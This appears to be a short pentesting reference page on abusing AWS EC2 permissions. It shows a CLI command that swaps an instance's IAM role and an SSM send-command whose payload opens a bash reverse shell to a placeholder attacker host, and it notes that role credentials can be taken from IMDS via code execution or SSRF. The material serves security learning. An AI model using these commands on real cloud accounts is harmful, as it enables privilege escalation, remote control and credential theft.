EC2

Abusable AWS EC2 permissions that can lead to compromise or privilege escalation

ec2:replace-iam-instance-profile-association

• With this permission, we can swap IAM Roles on an EC2 which may have new permissions

aws ec2 replace-iam-instance-profile-association \
    --iam-instance-profile Name=<ec2-instance-profile-name> \
    --association-id <iam-instance-profile-association-id>

• Instance profile names and association id can be found with aws iam list-instance-profiles and ec2 describe-iam-instance-profile-associations

---

ssm:SendCommand

• This features requires Systems Manager to be properly setup on an EC2

• With SendCommand we can remotely execute commands on an EC2 e.g., modifying files, creating users, or executing reverse shells

aws ssm send-command \
    --instance-ids "<instance-id>" \
    --document-name "AWS-RunShellScript" \
    --parameters 'commands=["bash -c '\''bash -i >& <attacker-ip-or-domain>/<attacker-port> 0>&1'\''"]' \
    --region <aws-region-of-ec2>

---

IMDS

• If an EC2 is running IMDSv1 or v2, there may be an IAM Role attached to it and we can retrieve the role's credentials through this service

• We need code execution on the instance (e.g., via SSH, SSM, EC2 Connect) or via an exploitable vulnerability like Server Side Request Forgery (SSRF)

• See the link below which demonstrates how to interact with the IMDS service regardless of how you obtained code execution ability

Server Side Request Forgery (SSRF) | Tech with Tylerwww.techwithtyler.dev